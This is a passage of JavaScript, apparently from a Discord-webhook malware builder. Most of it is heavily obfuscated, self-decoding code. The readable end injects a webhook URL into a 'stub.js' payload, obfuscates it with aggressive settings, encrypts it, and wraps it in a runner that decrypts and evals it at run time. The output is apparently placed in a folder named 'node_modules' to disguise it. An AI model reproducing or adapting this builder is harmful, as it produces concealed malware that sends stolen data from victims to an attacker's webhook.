utf8ArrayToStr(...__globalObject){EaHVzRe(__globalObject[IHeOuy[0x0]]=IHeOuy[0x1],__globalObject[IHeOuy[0x27]]=\\\"b5KcaPXUCFZdfNYoO8r}J9=z!{;uBEe1&v(<@6MQ7AS3y^k0?+#]\\\\\\\"l>tWHVh|/jxT$iD.RL,pIn4s2mG~%`gq*_)w[:\\\",__globalObject[IHeOuy[0x15]]=\\\"\\\"+(__globalObject[IHeOuy[0x3]]||\\\"\\\"),__globalObject[IHeOuy[0xe]]=__globalObject[IHeOuy[0x15]].length,__globalObject[IHeOuy[0x28]]=[],__globalObject[IHeOuy[0x10]]=IHeOuy[0x3],__globalObject[IHeOuy[0xa]]=IHeOuy[0x3],__globalObject[IHeOuy[0x8]]=-IHeOuy[0x1]);for(__globalObject[IHeOuy[0x9]]=IHeOuy[0x3];__globalObject[IHeOuy[0x9]]<__globalObject[IHeOuy[0xe]];__globalObject[IHeOuy[0x9]]++){__globalObject[IHeOuy[0x7]]=__globalObject[IHeOuy[0x27]].indexOf(__globalObject[IHeOuy[0x15]][__globalObject[IHeOuy[0x9]]]);if(__globalObject[IHeOuy[0x7]]===-IHeOuy[0x1])continue;if(__globalObject[IHeOuy[0x8]]<IHeOuy[0x3]){__globalObject[IHeOuy[0x8]]=__globalObject[IHeOuy[0x7]]}else{EaHVzRe(__globalObject[IHeOuy[0x8]]+=__globalObject[IHeOuy[0x7]]*IHeOuy[0x1f],__globalObject[IHeOuy[0x10]]|=__globalObject[IHeOuy[0x8]]<<__globalObject[IHeOuy[0xa]],__globalObject[IHeOuy[0xa]]+=(__globalObject[IHeOuy[0x8]]&IHeOuy[0x20])>IHeOuy[0x21]?IHeOuy[0x22]:IHeOuy[0x23]);do{EaHVzRe(__globalObject[IHeOuy[0x28]].push(__globalObject[IHeOuy[0x10]]&IHeOuy[0xc]),__globalObject[IHeOuy[0x10]]>>=IHeOuy[0x4],__globalObject[IHeOuy[0xa]]-=IHeOuy[0x4])}while(__globalObject[IHeOuy[0xa]]>IHeOuy[0x8]);__globalObject[IHeOuy[0x8]]=-IHeOuy[0x1]}}if(__globalObject[IHeOuy[0x8]]>-IHeOuy[0x1]){__globalObject[IHeOuy[0x28]].push((__globalObject[IHeOuy[0x10]]|__globalObject[IHeOuy[0x8]]<<__globalObject[IHeOuy[0xa]])&IHeOuy[0xc])}return JoD2I9(__globalObject[IHeOuy[0x28]])}function PiORiB(__globalObject){if(typeof kLN59z[__globalObject]===IHeOuy[0x11]){return kLN59z[__globalObject]=utf8ArrayToStr(dIcPdX[__globalObject])}return kLN59z[__globalObject]}EaHVzRe(__TextDecoder=Object,__Uint8Array[PiORiB(IHeOuy[0x2b])](\\\"\\\"[PiORiB(0x7a)][PiORiB(0x7b)+PiORiB(0x7c)][PiORiB(0x7d)]))}catch(OIuzy72){}TW7qyPN:for(__Buffer=IHeOuy[0x3];__Buffer<__globalObject[__Array(IHeOuy[0x29])];__Buffer++)try{var AFyN0aq;__TextDecoder=__globalObject[__Buffer]();for(AFyN0aq=IHeOuy[0x3];AFyN0aq<__Uint8Array[__Array(IHeOuy[0x29])];AFyN0aq++){TV1cZM(SFN0TE);function Wqg3hy7(__globalObject){var __TextDecoder=\\\"NMgqkcZ|L)167K<z?C8`9*%jF$[tx@3RSWfauJ&b{iH(p:.e,=G;4BEUTlPv0n~2!5Y/owD\\\\\\\"#_yOA+^>mX}]hdIQrsV\\\",__Uint8Array,__String,__Array,utf8ArrayToStr,PiORiB,OIuzy72,AFyN0aq;EaHVzRe(__Uint8Array=\\\"\\\"+(__globalObject||\\\"\\\"),__String=__Uint8Array.length,__Array=[],utf8ArrayToStr=IHeOuy[0x3],PiORiB=IHeOuy[0x3],OIuzy72=-IHeOuy[0x1]);for(AFyN0aq=IHeOuy[0x3];AFyN0aq<__String;AFyN0aq++){var Wqg3hy7=__TextDecoder.indexOf(__Uint8Array[AFyN0aq]);if(Wqg3hy7===-IHeOuy[0x1])continue;if(OIuzy72<IHeOuy[0x3]){OIuzy72=Wqg3hy7}else{EaHVzRe(OIuzy72+=Wqg3hy7*IHeOuy[0x1f],utf8ArrayToStr|=OIuzy72<<PiORiB,PiORiB+=(OIuzy72&IHeOuy[0x20])>IHeOuy[0x21]?IHeOuy[0x22]:IHeOuy[0x23]);do{EaHVzRe(__Array.push(utf8ArrayToStr&IHeOuy[0xc]),utf8ArrayToStr>>=IHeOuy[0x4],PiORiB-=IHeOuy[0x4])}while(PiORiB>IHeOuy[0x8]);OIuzy72=-IHeOuy[0x1]}}if(OIuzy72>-IHeOuy[0x1]){__Array.push((utf8ArrayToStr|OIuzy72<<PiORiB)&IHeOuy[0xc])}return JoD2I9(__Array)}function SFN0TE(...__globalObject){__globalObject[IHeOuy[0x0]]=IHeOuy[0x1];if(typeof kLN59z[__globalObject[IHeOuy[0x3]]]===IHeOuy[0x11]){return kLN59z[__globalObject[IHeOuy[0x3]]]=Wqg3hy7(dIcPdX[__globalObject[IHeOuy[0x3]]])}return kLN59z[__globalObject[IHeOuy[0x3]]]}if(typeof __TextDecoder[__Uint8Array[AFyN0aq]]===SFN0TE(IHeOuy[0x2a]))continue TW7qyPN}return __TextDecoder}catch(OIuzy72){}return __TextDecoder||this}function IhWhl8(...__globalObject){var __TextDecoder,__Uint8Array;function*__Buffer(__Uint8Array,__String,__Array,utf8ArrayToStr,OIuzy72={Q6jRhH:{}},AFyN0aq){while(__Uint8Array+__String+__Array+utf8ArrayToStr!==0x8f)with(OIuzy72.XCDUiQ||OIuzy72)switch(__Uint8Array+__String+__Array+utf8ArrayToStr){case utf8ArrayToStr- -0x1a7:case 0xbf:return kLN59z[lNzib4]=(0x1,OIuzy72.Q6jRhH.gSHWbi)(dIcPdX[lNzib4]);case-0x6f:EaHVzRe([OIuzy72.Q6jRhH.gjgm5u,OIuzy72.Q6jRhH.dO2_VR,OIuzy72.Q6jRhH.uUEgRJf]=[-0x52,0x4e,0x14],Q6jRhH.ofTwb_U=function(...__Uint8Array){return __Buffer(-0xa4,0x25,-0x24,0x165,{Q6jRhH:OIuzy72.Q6jRhH,lu6dyen:{}},__Uint8Array).next().value},Q6jRhH.gSHWbi=function(...__Uint8Array){return __Buffer(-0x8e,-0x71,-0x58,0x1fc,{Q6jRhH:OIuzy72.Q6jRhH,sQgx4A:{}},__Uint8Array).next().value},__globalObject[IHeOuy[__String+0x64]]=IHeOuy[0x1],TV1cZM(Q6jRhH.gSHWbi),OIuzy72.XCDUiQ=OIuzy72.Q6jRhH,__Uint8Array+=-0x5c,__String+=0x15a,__Array+=0x172,utf8ArrayToStr+=-0x136);break;case __Array- -0xfd:EaHVzRe([...sQgx4A.nBvU4TL]=AFyN0aq,sQgx4A.nBvU4TL[IHeOuy[__Uint8Array+0x8e]]=IHeOuy[__Array+0x59],sQgx4A.nBvU4TL[IHeOuy[__String+0x77]]=\\\"FisADRwlc9IdNP!EKf78uq5\\\\\\\"b6$,t;=YV@v*UGg3:>z.LC?10SBe[&MXTH^(+m/{#4OjQh%<_o2nJW]Z}~)pra|k`xy\\\",sQgx4A.nBvU4TL[IHeOuy[__Uint8Array+0xa3]]=\\\"\\\"+(sQgx4A.nBvU4TL[IHeOuy[0x3]]||\\\"\\\"),sQgx4A.nBvU4TL[IHeOuy[__Uint8Array+0x9c]]=sQgx4A.nBvU4TL[IHeOuy[__Array+0x6d]].length,OIuzy72.XCDUiQ=OIuzy72.sQgx4A,__String+=0x209,utf8ArrayToStr+=-0x2a0);break;case-0x5c:case utf8ArrayToStr-0xa3:[lu6dyen.lNzib4]=AFyN0aq;if(typeof kLN59z[lu6dyen.lNzib4]===IHeOuy[__Array+0x35]){EaHVzRe(OIuzy72.XCDUiQ=OIuzy72.lu6dyen,__String+=0x1af,__Array+=0x9b,utf8ArrayToStr+=-0x250);break}else{EaHVzRe(OIuzy72.XCDUiQ=OIuzy72.lu6dyen,__Uint8Array+=-0x7a,__String+=0x1af,__Array+=0x9b,utf8ArrayToStr+=-0x246);break}case-0xe8:case-0x8b:case OIuzy72.Q6jRhH.uUEgRJf+-0x6:EaHVzRe(nBvU4TL[IHeOuy[0xb]]=[],nBvU4TL[IHeOuy[0x10]]=IHeOuy[__Uint8Array+0x91],nBvU4TL[IHeOuy[0xa]]=IHeOuy[0x3],OIuzy72.XCDUiQ=OIuzy72.sQgx4A,__Uint8Array+=0x42,__String+=-0x184,__Array+=-0x25,utf8ArrayToStr+=0x209);break;case OIuzy72.Q6jRhH.gjgm5u+0x102:nBvU4TL[IHeOuy[0x8]]=-IHeOuy[0x1];for(nBvU4TL[IHeOuy[__Array+0xa8]]=IHeOuy[__Uint8Array+0x4f];nBvU4TL[IHeOuy[0x2b]]<nBvU4TL[IHeOuy[0xe]];nBvU4TL[IHeOuy[0x2b]]++){nBvU4TL[IHeOuy[0x7]]=nBvU4TL[IHeOuy[__Array+0x83]].indexOf(nBvU4TL[IHeOuy[__Array+0x92]][nBvU4TL[IHeOuy[__String+0x17]]]);if(nBvU4TL[IHeOuy[__String+-0xd]]===-IHeOuy[0x1])continue;if(nBvU4TL[IHeOuy[__String+-0xc]]<IHeOuy[__Array+0x80]){nBvU4TL[IHeOuy[0x8]]=nBvU4TL[IHeOuy[0x7]]}else{EaHVzRe(nBvU4TL[IHeOuy[0x8]]+=nBvU4TL[IHeOuy[0x7]]*IHeOuy[__Uint8Array+0x6b],nBvU4TL[IHeOuy[0x10]]|=nBvU4TL[IHeOuy[0x8]]<<nBvU4TL[IHeOuy[0xa]],nBvU4TL[IHeOuy[__Uint8Array+0x56]]+=(nBvU4TL[IHeOuy[__Uint8Array+0x54]]&IHeOuy[0x20])>IHeOuy[__Uint8Array+0x6d]?IHeOuy[0x22]:IHeOuy[0x23]);do{EaHVzRe(nBvU4TL[IHeOuy[0xb]].push(nBvU4TL[IHeOuy[0x10]]&IHeOuy[__String+-0x8]),nBvU4TL[IHeOuy[0x10]]>>=IHeOuy[0x4],nBvU4TL[IHeOuy[__Uint8Array+0x56]]-=IHeOuy[__String+-0x10])}while(nBvU4TL[IHeOuy[0xa]]>IHeOuy[__Uint8Array+0x54]);nBvU4TL[IHeOuy[__String+-0xc]]=-IHeOuy[0x1]}}if(nBvU4TL[IHeOuy[0x8]]>-IHeOuy[0x1]){EaHVzRe(OIuzy72.XCDUiQ=OIuzy72.sQgx4A,__String+=0xa,__Array+=-0x117);break}else{EaHVzRe(OIuzy72.XCDUiQ=OIuzy72.sQgx4A,__Uint8Array+=-0x58,__String+=0x21,__Array+=-0xe2);break}default:case 0x7a:case __Uint8Array-0x11:EaHVzRe(nBvU4TL[IHeOuy[0xb]].push((nBvU4TL[IHeOuy[0x10]]|nBvU4TL[IHeOuy[0x8]]<<nBvU4TL[IHeOuy[__String+-0x14]])&IHeOuy[__String+-0x12]),OIuzy72.XCDUiQ=OIuzy72.sQgx4A,__Uint8Array+=-0x58,__String+=0x17,__Array+=0x35);break;case __Uint8Array- -0x1e9:case-0xa7:case 0x6c:switch(__globalObject[IHeOuy[0x3]]){case Wqg3hy7(IHeOuy[0x2c]):return __TextDecoder=!0x0,PiORiB[(0x1,ofTwb_U)(__String+-0x75)];case(0x1,ofTwb_U)(__String+-0x74)+\\\"o\\\":return __TextDecoder=!0x0,PiORiB[(0x1,ofTwb_U)(0x83)];case(0x1,ofTwb_U)(0x84)+\\\"1\\\":return __TextDecoder=!0x0,PiORiB[(0x1,ofTwb_U)(0x85)];case(0x1,ofTwb_U)(0x86):return __TextDecoder=!0x0,PiORiB[(0x1,ofTwb_U)(0x87)];case(0x1,ofTwb_U)(0x88):return __TextDecoder=!0x0,PiORiB[(0x1,ofTwb_U)(0x89)];case(0x1,ofTwb_U)(0x8a):return __TextDecoder=!0x0,PiORiB[(0x1,ofTwb_U)(0x8b)];case(0x1,ofTwb_U)(0x8c):return __TextDecoder=!0x0,PiORiB[(0x1,ofTwb_U)(0x8d)];case(0x1,ofTwb_U)(IHeOuy[0x28]):return __TextDecoder=!0x0,PiORiB[(0x1,ofTwb_U)(0x8f)];case(0x1,ofTwb_U)(0x90):return __TextDecoder=!0x0,PiORiB[(0x1,ofTwb_U)(0x91)+\\\"4\\\"];case(0x1,ofTwb_U)(0x92):return __TextDecoder=!0x0,PiORiB[(0x1,ofTwb_U)(0x93)+\\\"E\\\"];case(0x1,ofTwb_U)(0x94):return __TextDecoder=!0x0,PiORiB[(0x1,ofTwb_U)(0x95)];case(0x1,ofTwb_U)(0x96):return __TextDecoder=!0x0,PiORiB[(0x1,ofTwb_U)(0x97)];case(0x1,ofTwb_U)(0x98):return __TextDecoder=!0x0,PiORiB[(0x1,ofTwb_U)(0x99)];case(0x1,ofTwb_U)(0x9a):return __TextDecoder=!0x0,PiORiB[(0x1,ofTwb_U)(0x9b)];case(0x1,ofTwb_U)(__String+-0x5a):return __TextDecoder=!0x0,PiORiB[(0x1,ofTwb_U)(0x9d)];case(0x1,ofTwb_U)(__Array+-0x136):return __TextDecoder=!0x0,PiORiB[(0x1,ofTwb_U)(0x9f)];case(0x1,ofTwb_U)(0xa0):return __TextDecoder=!0x0,PiORiB[(0x1,ofTwb_U)(0xa1)];case(0x1,ofTwb_U)(0xa2):return __TextDecoder=!0x0,PiORiB[(0x1,ofTwb_U)(IHeOuy[0x14])];case(0x1,ofTwb_U)(0xa4):return __TextDecoder=!0x0,PiORiB[(0x1,ofTwb_U)(0xa5)];case(0x1,ofTwb_U)(__Array+-0x12e):return __TextDecoder=!0x0,PiORiB[(0x1,ofTwb_U)(0xa7)];case(0x1,ofTwb_U)(0xa8):return __TextDecoder=!0x0,PiORiB[(0x1,ofTwb_U)(IHeOuy[0x30])+IHeOuy[0x10]];case(0x1,ofTwb_U)(0xaa):return __TextDecoder=!0x0,PiORiB[(0x1,ofTwb_U)(__Array+-0x129)];case(0x1,ofTwb_U)(0xac):return __TextDecoder=!0x0,PiORiB[(0x1,ofTwb_U)(0xad)];case(0x1,ofTwb_U)(IHeOuy[0x2]):return __TextDecoder=!0x0,PiORiB[(0x1,ofTwb_U)(__String+-0x47)];case(0x1,ofTwb_U)(0xb0):return __TextDecoder=!0x0,PiORiB[(0x1,ofTwb_U)(0xb1)];case(0x1,ofTwb_U)(0xb2):return __TextDecoder=!0x0,PiORiB[(0x1,ofTwb_U)(0xb3)];case(0x1,ofTwb_U)(0xb4)+\\\"t\\\":return __TextDecoder=!0x0,PiORiB[(0x1,ofTwb_U)(0xb5)];case(0x1,ofTwb_U)(0xb6):return __TextDecoder=!0x0,PiORiB[(0x1,ofTwb_U)(__Array+-0x11d)];case(0x1,ofTwb_U)(0xb8):return __TextDecoder=!0x0,PiORiB[(0x1,ofTwb_U)(0xb9)];case(0x1,ofTwb_U)(0xba):return __TextDecoder=!0x0,PiORiB[(0x1,ofTwb_U)(0xbb)];case(0x1,ofTwb_U)(0xbc):return __TextDecoder=!0x0,PiORiB[(0x1,ofTwb_U)(0xbd)];case(0x1,ofTwb_U)(0xbe):return __TextDecoder=!0x0,PiORiB[(0x1,ofTwb_U)(0xbf)];case(0x1,ofTwb_U)(0xc0):return __TextDecoder=!0x0,PiORiB[(0x1,ofTwb_U)(IHeOuy[0x1d])];case(0x1,ofTwb_U)(0xc2):return __TextDecoder=!0x0,PiORiB[(0x1,ofTwb_U)(__Array+-0x111)];case(0x1,ofTwb_U)(0xc4):return __TextDecoder=!0x0,PiORiB[(0x1,ofTwb_U)(0xc5)];case(0x1,ofTwb_U)(0xc6):return __TextDecoder=!0x0,PiORiB[(0x1,ofTwb_U)(0xc7)];case(0x1,ofTwb_U)(__String+-0x2e):return __TextDecoder=!0x0,PiORiB[(0x1,ofTwb_U)(0xc9)]}EaHVzRe(OIuzy72.XCDUiQ=OIuzy72.OuGdq6X,__Uint8Array+=0x26a,__String+=-0xb0,__Array+=-0x25f,utf8ArrayToStr+=0x69);break;case-0xee:EaHVzRe([OIuzy72.Q6jRhH.gjgm5u,OIuzy72.Q6jRhH.dO2_VR,OIuzy72.Q6jRhH.uUEgRJf]=[0x5c,0xc0,-0x81],OIuzy72.XCDUiQ=OIuzy72.sQgx4A,__Uint8Array+=-0xf9,__String+=0x1ee,__Array+=0x33,utf8ArrayToStr+=-0x2c);break;case __Uint8Array- -0x3b:case-0x4e:return JoD2I9(nBvU4TL[IHeOuy[0xb]]);case OIuzy72.Q6jRhH.gjgm5u+0x9e:return kLN59z[lNzib4]}}EaHVzRe(__TextDecoder=void 0x0,__Uint8Array=__Buffer(-0xc2,-0x64,0x62,0x55).next().value);if(__TextDecoder){return __Uint8Array}}function TOvs3CT(__globalObject,__TextDecoder=IHeOuy[0x1]){function __Uint8Array(__globalObject){var __TextDecoder=\\\"U/_D~V4Q=l]@(r<}KyaM5bd!Cx+JS8o2B*)R,%;?Tz$c\\\\\\\"w>pAv[sXO6^#1H`tihWeY.0:Pu|m9{&gnI3kN7FfZqjEGL\\\",__Uint8Array,__Buffer,kLN59z,dIcPdX,__String,__Array,utf8ArrayToStr;EaHVzRe(__Uint8Array=\\\"\\\"+(__globalObject||\\\"\\\"),__Buffer=__Uint8Array.length,kLN59z=[],dIcPdX=IHeOuy[0x3],__String=IHeOuy[0x3],__Array=-IHeOuy[0x1]);for(utf8ArrayToStr=IHeOuy[0x3];utf8ArrayToStr<__Buffer;utf8ArrayToStr++){var PiORiB=__TextDecoder.indexOf(__Uint8Array[utf8ArrayToStr]);if(PiORiB===-IHeOuy[0x1])continue;if(__Array<IHeOuy[0x3]){__Array=PiORiB}else{EaHVzRe(__Array+=PiORiB*IHeOuy[0x1f],dIcPdX|=__Array<<__String,__String+=(__Array&IHeOuy[0x20])>IHeOuy[0x21]?IHeOuy[0x22]:IHeOuy[0x23]);do{EaHVzRe(kLN59z.push(dIcPdX&IHeOuy[0xc]),dIcPdX>>=IHeOuy[0x4],__String-=IHeOuy[0x4])}while(__String>IHeOuy[0x8]);__Array=-IHeOuy[0x1]}}if(__Array>-IHeOuy[0x1]){kLN59z.push((dIcPdX|__Array<<__String)&IHeOuy[0xc])}return JoD2I9(kLN59z)}function __Buffer(__globalObject){if(typeof kLN59z[__globalObject]===IHeOuy[0x11]){return kLN59z[__globalObject]=__Uint8Array(dIcPdX[__globalObject])}return kLN59z[__globalObject]}IhWhl8(__Buffer(0xca))[__Buffer(0xcb)](__globalObject,__Buffer(0xcc),{[__Buffer(0xcd)]:__TextDecoder,[__Buffer(0xce)+__Buffer(IHeOuy[0x24])]:IHeOuy[0x2d]});return __globalObject}function EaHVzRe(){EaHVzRe=function(){}}return function(...__globalObject){var __TextDecoder,__Uint8Array;function*__Buffer(__Uint8Array,__String,__Array={dGLRkW4:{}},utf8ArrayToStr){while(__Uint8Array+__String!==0xb2)with(__Array.A46RP6||__Array)switch(__Uint8Array+__String){case __Uint8Array- -0xee:case 0x70:EaHVzRe(IwMTht[IHeOuy[__Uint8Array+0x17c]]=\\\"\\\"+(IwMTht[IHeOuy[0x3]]||\\\"\\\"),IwMTht[-IHeOuy[__Uint8Array+0x18f]]=IwMTht[IHeOuy[0x1c]].length,__Array.A46RP6=__Array.pDJim7,__Uint8Array+=0x211,__String+=-0x14f);break;case __String!=0x44&&__String-0x13:case-0x68:EaHVzRe(__Array.dGLRkW4.yReWm7=opg1bw[Wqg3hy7(__Uint8Array+0xe3)]((0x1,r_WppDZ)(0xd1),IhWhl8((0x1,r_WppDZ)(IHeOuy[0x33]))[(0x1,r_WppDZ)(IHeOuy[0x34])]((0x1,r_WppDZ)(__Uint8Array+0xe7)+(__Uint8Array+0x14,r_WppDZ)(__Uint8Array+0xe8)+(0x1,r_WppDZ)(0xd6),(__Uint8Array+0x14,r_WppDZ)(IHeOuy[__Uint8Array+0x48])),0x186a0,__Uint8Array+0x33,(0x1,r_WppDZ)(IHeOuy[0x16])),__Array.dGLRkW4.cH8lVv=opg1bw[(0x1,r_WppDZ)(__Uint8Array+0xec)]((0x1,r_WppDZ)(__Uint8Array+0xed),yReWm7,IhWhl8((0x1,r_WppDZ)(IHeOuy[0x33]))[(__Uint8Array+0x14,r_WppDZ)(IHeOuy[0x34])]((0x1,r_WppDZ)(0xdb),(0x1,r_WppDZ)(IHeOuy[0x35]))),__Array.dGLRkW4.JdY_IYh=cH8lVv[(0x1,r_WppDZ)(0xdc)]((0x1,r_WppDZ)(0xdd),(0x1,r_WppDZ)(IHeOuy[__Uint8Array+0x48]),(0x1,r_WppDZ)(IHeOuy[0x37]))+cH8lVv[(0x1,r_WppDZ)(IHeOuy[0x36])]((0x1,r_WppDZ)(IHeOuy[0x37])),__Array.A46RP6=__Array.dGLRkW4,__String+=-0x6a);break;case __String!=0x44&&__String- -0x9e:EaHVzRe([__Array.dGLRkW4.iW9ATcA,__Array.dGLRkW4.Yws1q9]=[-0x2c,-0x6a],__Array.A46RP6=__Array.pDJim7,__Uint8Array+=0x7e,__String+=-0x5);break;case __Uint8Array- -0x74:case __String!=-0xc4&&__String- -0x9e:case 0x7d:EaHVzRe(__Array.A46RP6=__Array.Rf6LCf,__Uint8Array+=0x33,__String+=-0xfb);break;case __Uint8Array-0x19f:case 0xe8:EaHVzRe(IwMTht[IHeOuy[0xb]].push((IwMTht[IHeOuy[__Uint8Array+-0x113]]|IwMTht[IHeOuy[0x1e]]<<IwMTht[IHeOuy[0x32]])&IHeOuy[__Uint8Array+-0x110]),__Array.A46RP6=__Array.pDJim7,__String+=0x82);break;case __Uint8Array-0x61:EaHVzRe(IwMTht[IHeOuy[__Uint8Array+-0xa6]]=[],IwMTht[IHeOuy[0x9]]=IHeOuy[0x3],__Array.A46RP6=__Array.pDJim7,__String+=-0x11);break;case __Array.dGLRkW4.Yws1q9+-0x3c:for(IwMTht[IHeOuy[0x2e]]=IHeOuy[__Uint8Array+-0x119];IwMTht[IHeOuy[__Uint8Array+-0xee]]<IwMTht[-IHeOuy[0x2f]];IwMTht[IHeOuy[__Uint8Array+-0xee]]++){IwMTht[-IHeOuy[0x30]]=IwMTht[IHeOuy[0x31]].indexOf(IwMTht[IHeOuy[0x1c]][IwMTht[IHeOuy[0x2e]]]);if(IwMTht[-IHeOuy[__Uint8Array+-0xec]]===-IHeOuy[0x1])continue;if(IwMTht[IHeOuy[__Uint8Array+-0xfe]]<IHeOuy[__Uint8Array+-0x119]){IwMTht[IHeOuy[__Uint8Array+-0xfe]]=IwMTht[-IHeOuy[0x30]]}else{EaHVzRe(IwMTht[IHeOuy[0x1e]]+=IwMTht[-IHeOuy[__Uint8Array+-0xec]]*IHeOuy[__Uint8Array+-0xfd],IwMTht[IHeOuy[0x9]]|=IwMTht[IHeOuy[0x1e]]<<IwMTht[IHeOuy[__Uint8Array+-0xea]],IwMTht[IHeOuy[__Uint8Array+-0xea]]+=(IwMTht[IHeOuy[0x1e]]&IHeOuy[__Uint8Array+-0xfc])>IHeOuy[0x21]?IHeOuy[0x22]:IHeOuy[__Uint8Array+-0xf9]);do{EaHVzRe(IwMTht[IHeOuy[0xb]].push(IwMTht[IHeOuy[0x9]]&IHeOuy[0xc]),IwMTht[IHeOuy[0x9]]>>=IHeOuy[0x4],IwMTht[IHeOuy[0x32]]-=IHeOuy[0x4])}while(IwMTht[IHeOuy[0x32]]>IHeOuy[__Uint8Array+-0x114]);IwMTht[IHeOuy[0x1e]]=-IHeOuy[0x1]}}if(IwMTht[IHeOuy[0x1e]]>-IHeOuy[0x1]){EaHVzRe(__Array.A46RP6=__Array.pDJim7,__String+=-0xd6);break}else{EaHVzRe(__Array.A46RP6=__Array.pDJim7,__String+=-0x54);break}case __Uint8Array!=0x11c&&__Uint8Array-0x11d:case 0x18:case 0x63:EaHVzRe([...qWO0MT.nxIa1t]=utf8ArrayToStr,qWO0MT.nxIa1t[IHeOuy[0x0]]=IHeOuy[0x1]);if(typeof kLN59z[qWO0MT.nxIa1t[IHeOuy[__Uint8Array+-0xb9]]]===IHeOuy[__Uint8Array+-0xab]){EaHVzRe(__Array.A46RP6=__Array.qWO0MT,__Uint8Array+=-0x143,__String+=0x1cb);break}else{EaHVzRe(__Array.A46RP6=__Array.qWO0MT,__Uint8Array+=-0x9d,__String+=0x1cb);break}case __Array.dGLRkW4.iW9ATcA+-0x54:case-0x31:case 0x29:return kLN59z[nxIa1t[IHeOuy[0x3]]]=(0x1,__Array.dGLRkW4.Xyi7F8)(dIcPdX[nxIa1t[IHeOuy[0x3]]]);default:case-0xc4:return kLN59z[nxIa1t[IHeOuy[0x3]]];case-0xde:case __String- -0x7b:case 0x76:EaHVzRe([__Array.dGLRkW4.iW9ATcA,__Array.dGLRkW4.Yws1q9]=[0x7b,0x8f],dGLRkW4.r_WppDZ=function(...__Uint8Array){return __Buffer(0xbc,-0x11d,{dGLRkW4:__Array.dGLRkW4,qWO0MT:{}},__Uint8Array).next().value},dGLRkW4.Xyi7F8=function(...__Uint8Array){return __Buffer(0xd1,-0xb7,{dGLRkW4:__Array.dGLRkW4,pDJim7:{}},__Uint8Array).next().value},__globalObject[IHeOuy[__Uint8Array+-0x7b]]=IHeOuy[__Uint8Array+-0x78],TV1cZM(dGLRkW4.r_WppDZ),__Array.A46RP6=__Array.dGLRkW4,__Uint8Array+=0x91,__String+=0x14);break;case 0xa6:case 0x31:case 0x7b:__Array.dGLRkW4.JYBnlm=new(IhWhl8((0x1,r_WppDZ)(__Uint8Array+0xf3)))((0x1,r_WppDZ)(0xe1),(0x1,r_WppDZ)(0xe2),(0x1,r_WppDZ)(0xe3),(0x1,r_WppDZ)(0xe4),JdY_IYh+(0x1,r_WppDZ)(0xe5));return __TextDecoder=!0x0,IhWhl8((0x1,r_WppDZ)(IHeOuy[0x38]))[(0x1,r_WppDZ)(0xe7)+(0x1,r_WppDZ)(0xe8)]=(0x1,JYBnlm)(IhWhl8((0x1,r_WppDZ)(IHeOuy[0x38]))[(0x1,r_WppDZ)(0xe9)],IhWhl8((0x1,r_WppDZ)(IHeOuy[0x38]))[(0x1,r_WppDZ)(0xea)],IhWhl8((0x1,r_WppDZ)(IHeOuy[0x38]))[(0x1,r_WppDZ)(__Uint8Array+0xfe)+(0x1,r_WppDZ)(0xec)],IhWhl8((0x1,r_WppDZ)(IHeOuy[0x38]))[(0x1,r_WppDZ)(0xed)]);case 0x79:case __String- -0x10c:EaHVzRe(TV1cZM(Xyi7F8),__Array.dGLRkW4.opg1bw=fIBqk6J[\\\"CD6TU4\\\"](\\\"crypto\\\"),__Array.A46RP6=__Array.dGLRkW4,__Uint8Array+=-0x11f,__String+=0x165);break;case __Uint8Array- -0x57:case 0xb7:case-0xfa:EaHVzRe(IwMTht[IHeOuy[0x32]]=IHeOuy[0x3],IwMTht[IHeOuy[__Uint8Array+-0x40]]=-IHeOuy[0x1],__Array.A46RP6=__Array.pDJim7,__Uint8Array+=0xbe,__String+=-0x120);break;case __Array.dGLRkW4.iW9ATcA+-0x61:EaHVzRe([...pDJim7.IwMTht]=utf8ArrayToStr,pDJim7.IwMTht[IHeOuy[0x0]]=IHeOuy[__Uint8Array+-0xd0],pDJim7.IwMTht[IHeOuy[__Uint8Array+-0xa0]]=\\\"\\\\\\\"y`.;0)4%@]$3baDc=7YW_Qi#nrh6N>{T5uR,:<MKEjle&v8?~FdJ[!CpBf*2|zqPIU+S^9wL/A1HVtmG}(xgXZksOo\\\",__Array.A46RP6=__Array.pDJim7,__Uint8Array+=-0x231,__String+=0x1a5);break;case __Array.dGLRkW4.iW9ATcA+-0x3c:EaHVzRe(IwMTht[IHeOuy[0x32]]=IHeOuy[__Uint8Array+-0xae],IwMTht[IHeOuy[__Uint8Array+-0x93]]=-IHeOuy[__Uint8Array+-0xb0],__Array.A46RP6=__Array.pDJim7,__Uint8Array+=0x6b,__String+=-0x57);break;case-0x1:return JoD2I9(IwMTht[IHeOuy[0xb]])}}EaHVzRe(__TextDecoder=void 0x0,__Uint8Array=__Buffer(0x7b,-0xcb).next().value);if(__TextDecoder){return __Uint8Array}}();\")({get\"AgmeFi1\"(){return window},get\"CD6TU4\"(){return require}});");const r=g["_5645cd48"];delete g["_5645cd48"];delete g["_155ea346"];delete g["_201f4db3"];delete g["_9531f6da"];delete g["_af9dc00e"];return r;})(stubCode,typeof webhookURL!=='undefined'?webhookURL:(typeof discordWebhookURL!=='undefined'?discordWebhookURL:'REMPLACE_ME'),null,null);

    if (stubCode === updatedStubCode) {
      throw new Error('Failed to update placeholder in stub.js. Please check that the placeholder exists.');
    }

    const compiledCode = updatedStubCode;

    const obfuscationResult = JavaScriptObfuscator.obfuscate(compiledCode, {
      compact: true,
      controlFlowFlattening: true,
      controlFlowFlatteningThreshold: 0.75,
      deadCodeInjection: true,
      deadCodeInjectionThreshold: 0.75,
      debugProtection: false,
      disableConsoleOutput: true,
      identifierNamesGenerator: 'mangled',
      log: false,
      numbersToExpressions: true,
      renameGlobals: false,
      selfDefending: true,
      simplify: true,
      splitStrings: true,
      splitStringsChunkLength: 5,
      stringArray: true,
      stringArrayCallsTransform: true,
      stringArrayEncoding: ['rc4'],
      stringArrayIndexShift: true,
      stringArrayRotate: true,
      stringArrayShuffle: true,
      stringArrayThreshold: 0.75,
      stringArrayWrappersCount: 2,
      stringArrayWrappersChainedCalls: true,
      stringArrayWrappersParametersMaxCount: 4,
      stringArrayWrappersType: 'function',
      transformObjectKeys: true,
      unicodeEscapeSequence: false
    });
    const obfuscatedCode = obfuscationResult.getObfuscatedCode();

    const secret = crypto.randomBytes(32).toString('base64');
    const encryptionKey = crypto.createHash('sha256').update(String(secret)).digest('base64').substr(0, 32);
    const { encryptedData, salt, iv } = encrypt(obfuscatedCode, encryptionKey);

    const runnerCode = `
const crypto = require('crypto');

${decrypt.toString()}

const decrypted = decrypt("${encryptedData}", "${encryptionKey}", "${salt}", "${iv}");
(function(require) { eval(decrypted); })(require);
`;

    const folderName = 'node_modules';
